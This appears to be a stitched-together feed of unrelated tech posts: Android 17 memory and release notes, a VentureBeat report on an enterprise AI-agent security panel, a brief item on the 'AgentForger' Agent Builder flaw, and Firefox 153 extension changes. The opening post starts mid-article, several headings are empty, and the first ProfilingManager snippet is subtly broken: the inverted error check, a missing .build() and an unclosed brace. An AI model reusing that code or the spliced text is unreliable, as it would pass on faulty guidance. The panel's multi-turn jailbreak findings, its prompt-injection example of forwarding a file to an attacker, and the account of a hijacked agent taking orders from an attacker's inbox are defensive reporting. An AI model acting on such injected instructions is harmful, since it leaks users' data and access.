While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Optimize image loading

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

• The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
• The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

• App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
• The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
• Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

• Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
• Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
• FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
• Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
• Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

• R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.
  

• LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
• ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
• On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

• System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
• Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
• System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
• EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

• WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
• Standard SMS OTP: Delayed for all apps targeting SDK 37+.
• Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

• Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
• Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

• Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
• RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
• Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
• Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
• Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
• Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
• Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

• Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
• Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

• Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
• Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
• Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
• Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
• Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
• NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

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VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

Zenity Labs uncovered "AgentForger," a vulnerability in OpenAI's Agent Builder that let a single manipulated ChatGPT link create an autonomous agent on an employee's behalf. The agent inherited the victim's identity and access rights, bypassed approval requirements through the malicious prompt, and pulled new instructions from the attacker's inbox every five minutes.

The article One tampered ChatGPT link could spawn a rogue AI agent that took orders from an attacker every five minutes appeared first on The Decoder.

File access now requires a dedicated permission

Extensions that need to read file:// URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.

This change has a few concrete effects on code:

• Before: an extension with <all_urls> or a matching host permission could read file:// pages without any additional grant, and extension.isAllowedFileSchemeAccess() always returned false regardless of the permission setting.
• After: the extension must have the new file-access permission granted, and extension.isAllowedFileSchemeAccess() correctly reflects whether the user has granted it.

async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}

devtools.inspectedWindow.eval() calls targeting file:// URLs are affected the same way; they now require this permission to succeed.

If your extension depends on file:// access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (options_ui) and calling browser.runtime.openOptionsPage() to open about:addons and including instructions to toggle the setting in the “Permissions and data” tab.

userScripts.execute() and publicSuffix: covered in our next post

Firefox 153 adds two community-contributed APIs:

• userScripts.execute(), which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based userScripts.register().
